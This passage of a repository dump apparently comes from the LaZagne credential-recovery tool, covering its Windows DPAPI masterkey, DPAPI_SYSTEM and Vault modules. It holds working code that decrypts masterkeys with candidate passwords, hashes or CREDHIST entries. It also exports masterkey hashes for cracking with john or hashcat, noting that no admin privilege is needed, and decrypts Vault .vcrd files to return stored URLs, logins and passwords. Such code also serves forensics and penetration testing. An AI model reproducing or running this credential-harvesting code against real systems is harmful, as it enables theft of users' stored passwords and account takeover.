decrypted stuff and compare it with the computed one.\n        Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return.\n        \"\"\"\n        if self.decrypted or not pwdhash:\n            return\n\n        # Compute encryption key\n        cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv,\n                                      self.rounds)\n        self.key = cleartxt[-64:]\n        hmacSalt = cleartxt[:16]\n        hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)]\n        hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key)\n        self.decrypted = hmac == hmacComputed\n        if self.decrypted:\n            self.key_hash = hashlib.sha1(self.key).digest()\n\n\nclass CredHist(DataStruct):\n    \"\"\"This class represents a Credhist block contained in the MasterKeyFile\"\"\"\n\n    def __init__(self, raw=None):\n        self.version = None\n        self.guid = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.guid = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")\n\n\nclass DomainKey(DataStruct):\n    \"\"\"This class represents a DomainKey block contained in the MasterKeyFile.\n\n    Currently does nothing more than parsing. Work on Active Directory stuff is\n    still on progress.\n\n    \"\"\"\n\n    def __init__(self, raw=None):\n        self.version = None\n        self.secretLen = None\n        self.accesscheckLen = None\n        self.guidKey = None\n        self.encryptedSecret = None\n        self.accessCheck = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.secretLen = data.eat(\"L\")\n        self.accesscheckLen = data.eat(\"L\")\n        self.guidKey = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")  # data.eat(\"16s\")\n        self.encryptedSecret = data.eat(\"%us\" % self.secretLen)\n        self.accessCheck = data.eat(\"%us\" % self.accesscheckLen)\n\n\nclass MasterKeyFile(DataStruct):\n    \"\"\"\n    This class represents a masterkey file.\n    \"\"\"\n\n    def __init__(self, raw=None):\n        self.masterkey = None\n        self.backupkey = None\n        self.credhist = None\n        self.domainkey = None\n        self.decrypted = False\n        self.version = None\n        self.guid = None\n        self.policy = None\n        self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        data.eat(\"2L\")\n        self.guid = data.eat(\"72s\").replace(b\"\\x00\", b\"\")\n        data.eat(\"2L\")\n        self.policy = data.eat(\"L\")\n        self.masterkeyLen = data.eat(\"Q\")\n        self.backupkeyLen = data.eat(\"Q\")\n        self.credhistLen = data.eat(\"Q\")\n        self.domainkeyLen = data.eat(\"Q\")\n\n        if self.masterkeyLen > 0:\n            self.masterkey = MasterKey()\n            self.masterkey.parse(data.eat_sub(self.masterkeyLen))\n        if self.backupkeyLen > 0:\n            self.backupkey = MasterKey()\n            self.backupkey.parse(data.eat_sub(self.backupkeyLen))\n        if self.credhistLen > 0:\n            self.credhist = CredHist()\n            self.credhist.parse(data.eat_sub(self.credhistLen))\n        if self.domainkeyLen > 0:\n            self.domainkey = DomainKey()\n            self.domainkey.parse(data.eat_sub(self.domainkeyLen))\n\n    def get_key(self):\n        \"\"\"\n        Returns the first decrypted block between Masterkey and BackupKey.\n        If none has been decrypted, returns the Masterkey block.\n        \"\"\"\n        if self.masterkey.decrypted:\n            return self.masterkey.key or self.masterkey.key_hash\n        elif self.backupkey.decrypted:\n            return self.backupkey.key\n        return self.masterkey.key\n\n    def jhash(self, sid=None, context='local'):\n        \"\"\"\n        Compute the hash used to be bruteforced.\n        From the masterkey field of the mk file => mk variable.\n        \"\"\"\n        if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower():\n            version = 1\n            hmac_algo = 'sha1'\n            cipher_algo = 'des3'\n\n        elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower():\n            version = 2\n            hmac_algo = 'sha512'\n            cipher_algo = 'aes256'\n\n        else:\n            return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format(\n                cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo)\n\n        context_int = 0\n        if context == \"domain\":\n            context_int = 2\n        elif context == \"local\":\n            context_int = 1\n\n        return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format(\n            version=version,\n            context=context_int,\n            sid=sid,\n            cipher_algo=cipher_algo,\n            hmac_algo=hmac_algo,\n            rounds=self.masterkey.rounds,\n            iv=self.masterkey.iv.encode(\"hex\"),\n            size=len(self.masterkey.ciphertext.encode(\"hex\")),\n            ciphertext=self.masterkey.ciphertext.encode(\"hex\")\n        )\n\n\nclass MasterKeyPool(object):\n    \"\"\"\n    This class is the pivot for using DPAPIck.\n    It manages all the DPAPI structures and contains all the decryption intelligence.\n    \"\"\"\n\n    def __init__(self):\n        self.keys = defaultdict(\n            lambda: {\n                'password': None,  # contains cleartext password\n                'mkf': [],  # contains the masterkey file object\n            }\n        )\n        self.mkfiles = []\n        self.credhists = {}\n        self.mk_dir = None\n        self.nb_mkf = 0\n        self.nb_mkf_decrypted = 0\n        self.preferred_guid = None\n        self.system = None\n\n    def add_master_key(self, mkey):\n        \"\"\"\n        Add a MasterKeyFile is the pool.\n        mkey is a string representing the content of the file to add.\n        \"\"\"\n        mkf = MasterKeyFile(mkey)\n        self.keys[mkf.guid]['mkf'].append(mkf)\n\n        # Store mkfile object\n        self.mkfiles.append(mkf)  # TO DO000000 => use only self.keys variable\n\n    def load_directory(self, directory):\n        \"\"\"\n        Adds every masterkey contained in the given directory to the pool.\n        \"\"\"\n        if os.path.exists(directory):\n            self.mk_dir = directory\n            for k in os.listdir(directory):\n                try:\n                    with open(os.path.join(directory, k), 'rb') as f:\n                        self.add_master_key(f.read())\n                        self.nb_mkf += 1\n                except Exception:\n                    pass\n            return True\n        return False\n\n    def get_master_keys(self, guid):\n        \"\"\"\n        Returns an array of Masterkeys corresponding to the given GUID.\n        \"\"\"\n        return self.keys.get(guid, {}).get('mkf')\n\n    def get_password(self, guid):\n        \"\"\"\n        Returns the password found corresponding to the given GUID.\n        \"\"\"\n        return self.keys.get(guid, {}).get('password')\n\n    def add_credhist_file(self, sid, credfile):\n        \"\"\"\n        Adds a Credhist file to the pool.\n        \"\"\"\n        if os.path.exists(credfile):\n            try:\n                with open(credfile, 'rb') as f:\n                    self.credhists[sid] = CredHistFile(f.read())\n            except Exception:\n                pass\n\n    def get_preferred_guid(self):\n        \"\"\"\n        Extract from the Preferred file the associated GUID.\n        This guid represent the preferred masterkey used by the system.\n        This means that it has been encrypted using the current password not an older one.\n        \"\"\"\n        if self.preferred_guid:\n            return self.preferred_guid\n\n        if self.mk_dir:\n            preferred_file = os.path.join(self.mk_dir, u'Preferred')\n            if os.path.exists(preferred_file):\n                with open(preferred_file, 'rb') as pfile:\n                    GUID1 = pfile.read(8)\n                    GUID2 = pfile.read(8)\n\n                GUID = struct.unpack(\"<LHH\", GUID1)\n                GUID2 = struct.unpack(\">HLH\", GUID2)\n                self.preferred_guid = b\"%s-%s-%s-%s-%s%s\" % (\n                format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'),\n                format(GUID2[1], '08x'), format(GUID2[2], '04x'))\n                return self.preferred_guid.encode()\n\n        return False\n\n    def get_cleartext_password(self, guid=None):\n        \"\"\"\n        Get cleartext password if already found of the associated guid.\n        If not guid specify, return the associated password of the preferred guid.\n        \"\"\"\n        if not guid:\n            guid = self.get_preferred_guid()\n\n        if guid:\n            return self.get_password(guid)\n\n    def get_dpapi_hash(self, sid, context='local'):\n        \"\"\"\n        Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat.\n        No admin privilege are required to extract it.\n        :param context: expect local or domain depending of the windows environment.\n        \"\"\"\n\n        self.get_preferred_guid()\n\n        for mkf in self.mkfiles:\n            if self.preferred_guid == mkf.guid:\n                return mkf.jhash(sid=sid, context=context)\n\n    def add_system_credential(self, blob):\n        \"\"\"\n        Adds DPAPI_SYSTEM token to the pool.\n        blob is a string representing the LSA secret token\n        \"\"\"\n        self.system = CredSystem(blob)\n\n    def try_credential(self, sid, password=None):\n        \"\"\"\n        This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.\n        Should be called as a generator (ex: for r in try_credential(sid, password))\n        \"\"\"\n\n        # Check into cache to gain time (avoid checking twice the same thing)\n        if constant.dpapi_cache.get(sid): \n            if constant.dpapi_cache[sid]['password'] == password: \n                if constant.dpapi_cache[sid]['decrypted']: \n                    yield True, ''\n                else:\n                    yield False, ''\n\n        # All master key files have not been already decrypted\n        if self.nb_mkf_decrypted != self.nb_mkf:\n            for guid in self.keys:\n                for mkf in self.keys[guid].get('mkf', ''):\n                    if not mkf.decrypted:\n                        mk = mkf.masterkey\n                        if mk:\n                            mk.decrypt_with_password(sid, password)\n                            if not mk.decrypted and self.credhists.get(sid) is not None:\n                                # Try using credhist file\n                                self.credhists[sid].decrypt_with_password(password)\n                                for credhist in self.credhists[sid].entries_list:\n                                    mk.decrypt_with_hash(sid, credhist.pwdhash)\n                                    if credhist.ntlm is not None and not mk.decrypted:\n                                        mk.decrypt_with_hash(sid, credhist.ntlm)\n\n                                    if mk.decrypted:\n                                        yield u'masterkey {masterkey} decrypted using credhists key'.format(\n                                            masterkey=mk.guid.decode())\n                                        self.credhists[sid].valid = True\n\n                            constant.dpapi_cache[sid] = {\n                                'password': password,\n                                'decrypted': mk.decrypted\n                            }\n\n                            if mk.decrypted:\n                                # Save the password found\n                                self.keys[mkf.guid]['password'] = password\n                                mkf.decrypted = True\n                                self.nb_mkf_decrypted += 1\n\n                                yield True, u'{password} ok for masterkey {masterkey}'.format(password=password,\n                                                                                              masterkey=mkf.guid.decode())\n\n                            else:\n                                yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password,\n                                                                                                   masterkey=mkf.guid.decode())\n\n    def try_credential_hash(self, sid, pwdhash=None):\n        \"\"\"\n        This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.\n        Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash))\n        \"\"\"\n\n        # All master key files have not been already decrypted\n        if self.nb_mkf_decrypted != self.nb_mkf:\n            for guid in self.keys:\n                for mkf in self.keys[guid].get('mkf', ''):\n                    if not mkf.decrypted:\n                        mk = mkf.masterkey\n                        mk.decrypt_with_hash(sid, pwdhash)\n                        if not mk.decrypted and self.credhists.get(sid) is not None:\n                            # Try using credhist file\n                            self.credhists[sid].decrypt_with_hash(pwdhash)\n                            for credhist in self.credhists[sid].entries_list:\n                                mk.decrypt_with_hash(sid, credhist.pwdhash)\n                                if credhist.ntlm is not None and not mk.decrypted:\n                                    mk.decrypt_with_hash(sid, credhist.ntlm)\n\n                                if mk.decrypted:\n                                    yield True, u'masterkey {masterkey} decrypted using credhists key'.format(\n                                        masterkey=mk.guid)\n                                    self.credhists[sid].valid = True\n                                    break\n\n                        if mk.decrypted:\n                            mkf.decrypted = True\n                            self.nb_mkf_decrypted += 1\n                            yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(),\n                                                                                      masterkey=mkf.guid.decode())\n                        else:\n                            yield False, u'{hash} not ok for masterkey {masterkey}'.format(\n                                hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode())\n\n    def try_system_credential(self):\n        \"\"\"\n        Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key\n        Should be called as a generator (ex: for r in try_system_credential())\n        \"\"\"\n        for guid in self.keys:\n            for mkf in self.keys[guid].get('mkf', ''):\n                if not mkf.decrypted:\n                    mk = mkf.masterkey\n                    if mk:\n                        mk.decrypt_with_key(self.system.user)\n                        if not mk.decrypted:\n                            mk.decrypt_with_key(self.system.machine)\n\n                        if mk.decrypted:\n                            mkf.decrypted = True\n                            self.nb_mkf_decrypted += 1\n\n                            yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode())\n                        else:\n                            yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format(\n                                masterkey=mkf.guid.decode())\n                    else:\n                        yield False, u'System masterkey not found for masterkey {masterkey}'.format(\n                            masterkey=mkf)\n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/system.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCode based from these two awesome projects: \n- DPAPICK \t: https://bitbucket.org/jmichel/dpapick\n- DPAPILAB \t: https://github.com/dfirfpi/dpapilab\n\"\"\"\n\nfrom .eater import DataStruct\n\n\nclass CredSystem(DataStruct):\n    \"\"\"\n    This represents the DPAPI_SYSTEM token which is stored as an LSA secret.\n\n    Sets 2 properties:\n        self.machine\n        self.user\n    \"\"\"\n\n    def __init__(self, raw=None):\n        self.revision = None\n        self.machine = None\n        self.user = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        \"\"\"Parses the given data. May raise exceptions if incorrect data are\n            given. You should not call this function yourself; DataStruct does\n\n            data is a DataStruct object.\n            Returns nothing.\n\n        \"\"\"\n        self.revision = data.eat(\"L\")\n        self.machine = data.eat(\"20s\")\n        self.user = data.eat(\"20s\")\n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/vault.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCode based from these two awesome projects: \n- DPAPICK   : https://bitbucket.org/jmichel/dpapick\n- DPAPILAB  : https://github.com/dfirfpi/dpapilab\n\"\"\"\n\nimport codecs\nimport struct\n\nfrom .blob import DPAPIBlob\nfrom .eater import DataStruct, Eater\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC\nfrom lazagne.config.winstructure import char_to_int\n\nimport os\n\nAES_BLOCK_SIZE = 16\n\n# ===============================================================================\n#                           VAULT POLICY file structs\n# ===============================================================================\n\n\nclass VaultPolicyKey(DataStruct):\n    \"\"\"\n    Structure containing the AES key used to decrypt the vcrd files\n    \"\"\"\n    def __init__(self, raw=None):\n        # self.size = None\n        self.unknown1 = None\n        self.unknown2 = None\n        self.dwMagic = None\n        self.dwVersion = None\n        self.cbKeyData = None\n        self.key = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        # self.size = data.eat(\"L\")\n        self.unknown1 = data.eat(\"L\")\n        self.unknown2 = data.eat(\"L\")\n        self.dwMagic = data.eat(\"L\")  # Constant: 0x4d42444b\n        self.dwVersion = data.eat(\"L\")\n        self.cbKeyData = data.eat(\"L\")\n        if self.cbKeyData > 0:\n            # self.key = data.eat_sub(self.cbKeyData)\n            self.key = data.eat(str(self.cbKeyData) + \"s\")\n\n\n\nclass VaultPolicyKeys(DataStruct):\n    \"\"\"\n    Structure containing two AES keys used to decrypt the vcrd files\n    - First key is an AES 128\n    - Second key is an AES 256\n    \"\"\"\n    def __init__(self, raw=None):\n        self.vpol_key1_size = None\n        self.vpol_key1 = None\n        self.vpol_key2_size = None\n        self.vpol_key2 = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.vpol_key1_size = data.eat(\"L\")\n        if self.vpol_key1_size > 0:\n            self.vpol_key1 = VaultPolicyKey()\n            self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size))\n\n        self.vpol_key2_size = data.eat(\"L\")\n        if self.vpol_key2_size > 0:\n            self.vpol_key2 = VaultPolicyKey()\n            self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size))\n\n\nclass VaultPolicy(DataStruct):\n    \"\"\"\n    Policy.vpol file is a DPAPI blob with an header containing a textual description\n    and a GUID that should match the Vault folder name\n    Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files.\n    \"\"\"\n    def __init__(self, raw=None):\n        self.version = None\n        self.guid = None\n        self.description = None\n        self.unknown1 = None\n        self.unknown2 = None\n        self.unknown3 = None\n        # VPOL_STORE\n        self.size = None\n        self.unknown4 = None\n        self.unknown5 = None\n        # DPAPI_BLOB_STORE\n        self.blob_store_size = None\n        self.blob_store_raw = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.guid = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")  # data.eat(\"16s\")\n        self.description = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n        self.unknown1 = data.eat(\"L\")\n        self.unknown2 = data.eat(\"L\")\n        self.unknown3 = data.eat(\"L\")\n        # VPOL_STORE\n        self.size = data.eat(\"L\")\n        self.unknown4 = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")  # data.eat(\"16s\")\n        self.unknown5 = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")  # data.eat(\"16s\")\n        # DPAPI_BLOB_STORE\n        self.blob_store_size = data.eat(\"L\")\n        if self.blob_store_size > 0:\n            self.blob_store_raw = DPAPIBlob()\n            self.blob_store_raw.parse(data.eat_sub(self.blob_store_size))\n\n# ===============================================================================\n#                               VAULT file structs\n# ===============================================================================\n\n\nclass VaultAttribute(DataStruct):\n    \"\"\"\n    This class contains the encrypted data we are looking for (data + iv)\n    \"\"\"\n    def __init__(self, raw=None):\n        self.id = None\n        self.attr_unknown_1 = None\n        self.attr_unknown_2 = None\n        self.attr_unknown_3 = None\n        self.padding = None\n        self.attr_unknown_4 = None\n        self.size = None\n        # VAULT_ATTRIBUTE_ENCRYPTED\n        self.has_iv = None\n        self.iv_size = None\n        self.iv = None\n        self.data = None\n        self.stream_end = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.id = data.eat(\"L\")\n        self.attr_unknown_1 = data.eat(\"L\")\n        self.attr_unknown_2 = data.eat(\"L\")\n        self.attr_unknown_3 = data.eat(\"L\")\n        # self.padding = data.eat(\"6s\")\n        if self.id >= 100:\n            self.attr_unknown_4 = data.eat(\"L\")\n        self.size = data.eat(\"L\")\n        if self.size > 0:\n            self.has_iv = ord(data.eat(\"1s\"))\n            \n            if self.has_iv == 1:\n                self.iv_size = data.eat(\"L\")\n                self.iv = data.eat(str(self.iv_size)+ \"s\")\n                self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + \"s\")\n            else:\n                self.data = data.eat(str(self.size - 1) + \"s\")\n\n\nclass VaultAttributeMapEntry(DataStruct):\n    \"\"\"\n    This class contains a pointer on VaultAttribute structure\n    \"\"\"\n    def __init__(self, raw=None):\n        self.id = None\n        self.offset = None\n        self.attr_map_entry_unknown_1 = None\n        self.pointer = None\n        self.extra_entry = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.id = data.eat(\"L\")\n        self.offset = data.eat(\"L\")\n        self.attr_map_entry_unknown_1 = data.eat(\"L\")\n\n\nclass VaultVcrd(DataStruct):\n    \"\"\"\n    vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret\n    \"\"\"\n    def __init__(self, raw=None):\n        self.schema_guid = None\n        self.vcrd_unknown_1 = None\n        self.last_update = None\n        self.vcrd_unknown_2 = None\n        self.vcrd_unknown_3 = None\n        self.description = None\n        self.attributes_array_size = None\n        self.attributes_num = None\n        self.attributes = []\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.schema_guid = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")  # data.eat(\"16s\")\n        self.vcrd_unknown_1 = data.eat(\"L\")\n        self.last_update = data.eat(\"Q\")\n        self.vcrd_unknown_2 = data.eat(\"L\")\n        self.vcrd_unknown_3 = data.eat(\"L\")\n        self.description = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n        self.attributes_array_size = data.eat(\"L\")\n        # 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY\n        self.attributes_num = self.attributes_array_size // 12\n        for i in range(self.attributes_num):\n            # 12: size of VaultAttributeMapEntry Structure\n            v_map_entry = VaultAttributeMapEntry(data.eat(\"12s\"))\n            self.attributes.append(v_map_entry)\n\n# ===============================================================================\n#                                VAULT schemas\n# ===============================================================================\n\n\nclass VaultVsch(DataStruct):\n    \"\"\"\n    Vault Schemas\n    Vault file partial parsing\n    \"\"\"\n    def __init__(self, raw=None):\n        self.version = None\n        self.schema_guid = None\n        self.vault_vsch_unknown_1 = None\n        self.count = None\n        self.schema_name = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.schema_guid = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")\n        self.vault_vsch_unknown_1 = data.eat(\"L\")\n        self.count = data.eat(\"L\")\n        self.schema_name = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n\n\nclass VaultAttributeItem(object):\n    def __init__(self, id_, item):\n        self.id = id_\n        self.item = codecs.encode(item, 'hex')\n\n\nclass VaultSchemaGeneric(DataStruct):\n    \"\"\"\n    Generic Vault Schema\n    \"\"\"\n    def __init__(self, raw=None):\n        self.version = None\n        self.count = None\n        self.vault_schema_generic_unknown1 = None\n        self.attribute_item = []\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.count = data.eat(\"L\")\n        self.vault_schema_generic_unknown1 = data.eat(\"L\")\n        for i in range(self.count):\n            self.attribute_item.append(\n                VaultAttributeItem(\n                    id_=data.eat(\"L\"),\n                    item=data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n                )\n            )\n\n# Vault Simple Schema\n\n# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter(\n#     Struct(\n#         'data' / GreedyRange(Byte),\n#     )\n# )\n\n\nclass VaultSchemaPin(DataStruct):\n    \"\"\"\n    PIN Logon Vault Resource Schema\n    \"\"\"\n    def __init__(self, raw=None):\n        self.version = None\n        self.count = None\n        self.vault_schema_pin_unknown1 = None\n        self.id_sid = None\n        self.sid_len = None\n        self.sid = None\n        self.id_resource = None\n        self.resource = None\n        self.id_password = None\n        self.password = None\n        self.id_pin = None\n        self.pin = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.count = data.eat(\"L\")\n        self.vault_schema_pin_unknown1 = data.eat(\"L\")\n        self.id_sid = data.eat(\"L\")\n        self.sid_len = data.eat(\"L\")\n        if self.sid_len > 0:\n            self.sid = data.eat_sub(self.sid_len)\n        self.id_resource = data.eat(\"L\")\n        self.resource = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n        self.id_password = data.eat(\"L\")\n        self.authenticator = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Password\n        self.id_pin = data.eat(\"L\")\n        self.pin = data.eat_length_and_string(\"L\")\n\n\nclass VaultSchemaWebPassword(DataStruct):\n    \"\"\"\n    Windows Web Password Credential Schema\n    \"\"\"\n    def __init__(self, raw=None):\n        self.version = None\n        self.count = None\n        self.vault_schema_web_password_unknown1 = None\n        self.id_identity = None\n        self.identity = None\n        self.id_resource = None\n        self.resource = None\n        self.id_authenticator = None\n        self.authenticator = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.count = data.eat(\"L\")\n        self.vault_schema_web_password_unknown1 = data.eat(\"L\")\n        self.id_identity = data.eat(\"L\")\n        self.identity = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n        self.id_resource = data.eat(\"L\")\n        self.resource = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n        self.id_authenticator = data.eat(\"L\")\n        self.authenticator = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n\n\nclass VaultSchemaActiveSync(DataStruct):\n    \"\"\"\n    Active Sync Credential Schema\n    \"\"\"\n    def __init__(self, raw=None):\n        self.version = None\n        self.count = None\n        self.vault_schema_activesync_unknown1 = None\n        self.id_identity = None\n        self.identity = None\n        self.id_resource = None\n        self.resource = None\n        self.id_authenticator = None\n        self.authenticator = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.count = data.eat(\"L\")\n        self.vault_schema_activesync_unknown1 = data.eat(\"L\")\n        self.id_identity = data.eat(\"L\")\n        self.identity = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n        self.id_resource = data.eat(\"L\")\n        self.resource = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n        self.id_authenticator = data.eat(\"L\")\n        self.authenticator = codecs.encode(data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\"), 'hex')\n\n\n# Vault Schema Dict\nvault_schemas = {\n    b'ActiveSyncCredentialSchema'       : VaultSchemaActiveSync,\n    b'PIN Logon Vault Resource Schema'  : VaultSchemaPin,\n    b'Windows Web Password Credential'  : VaultSchemaWebPassword,\n}\n\n\n# ===============================================================================\n#                               VAULT Main Function\n# ===============================================================================\n\n\nclass Vault(object):\n    \"\"\"\n    Contains all process to decrypt Vault files\n    \"\"\"\n    def __init__(self, vaults_dir):\n        self.vaults_dir = vaults_dir\n\n    def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256):\n        \"\"\"\n        Helper to decrypt VAULT attributes.\n        \"\"\"\n        if not vault_attr.size:\n            return b'', False\n\n        if vault_attr.has_iv:  \n            cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv)\n            is_attribute_ex = True\n        else:\n            cipher = AESModeOfOperationCBC(key_aes128)\n            is_attribute_ex = False\n\n        data = vault_attr.data\n        decypted = b\"\".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])\n        return decypted, is_attribute_ex\n\n    def get_vault_schema(self, guid, base_dir, default_schema):\n        \"\"\"\n        Helper to get the Vault schema to apply on decoded data.\n        \"\"\"\n        vault_schema = default_schema\n        schema_file_path = os.path.join(base_dir.encode(), guid + b'.vsch')\n        try:\n            with open(schema_file_path, 'rb') as fschema:\n                vsch = VaultVsch(fschema.read())\n            vault_schema = vault_schemas.get(\n                vsch.schema_name,\n                VaultSchemaGeneric\n            )\n        except IOError:\n            pass\n        return vault_schema\n\n    def decrypt(self, mkp):\n        \"\"\"\n        Decrypt one vault file\n        mkp represent the masterkeypool object\n        Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html\n        \"\"\"\n        vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol')\n        if not os.path.exists(vpol_filename):\n            return False, u'Policy file not found: {file}'.format(file=vpol_filename)\n\n        with open(vpol_filename, 'rb') as fin:\n            vpol = VaultPolicy(fin.read())\n\n        ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp)\n        if not ok:\n            return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted)\n\n        vpol_keys = VaultPolicyKeys(vpol_decrypted)\n        key_aes128 = vpol_keys.vpol_key1.key\n        key_aes256 = vpol_keys.vpol_key2.key\n\n        for file in os.listdir(self.vaults_dir):\n            if file.lower().endswith('.vcrd'):\n                filepath = os.path.join(self.vaults_dir, file)\n                attributes_data = {}\n\n                with open(filepath, 'rb') as fin:\n                    vcrd = VaultVcrd(fin.read())\n\n                    current_vault_schema = self.get_vault_schema(\n                        guid=vcrd.schema_guid.upper(),\n                        base_dir=self.vaults_dir,\n                        default_schema=VaultSchemaGeneric\n                    )\n                    for attribute in vcrd.attributes:\n                        fin.seek(attribute.offset)\n\n                        v_attribute = VaultAttribute(fin.read())\n                        # print('-id: ', v_attribute.id)\n                        # print('-size: ', v_attribute.size)\n                        # print('-data: ', repr(v_attribute.data))\n                        # print('-has_iv: ', v_attribute.has_iv)\n                        # print('-iv: ', repr(v_attribute.iv))\n\n                        decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256)\n                        if is_attribute_ex:\n                            schema = current_vault_schema\n                        else:\n                            # schema = VAULT_SCHEMA_SIMPLE\n                            continue\n\n                        attributes_data[attribute.id] = {\n                            'data': decrypted,\n                            'schema': schema\n                        }\n\n                    # Parse value found\n                    for k, v in sorted(attributes_data.items()):\n                        # Parse decrypted data depending on its schema\n                        dataout = v['schema'](v['data'])\n\n                        if dataout: \n                            return True, {\n                                    'URL': dataout.resource,\n                                    'Login': dataout.identity,\n                                    'Password': dataout.authenticator,\n                                    'File': filepath,\n                                }\n\n        return False, 'No .vcrd file found. Nothing to decrypt.'"
  },
  {
    "path": "Windows/lazagne/config/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/config/change_privileges.py",
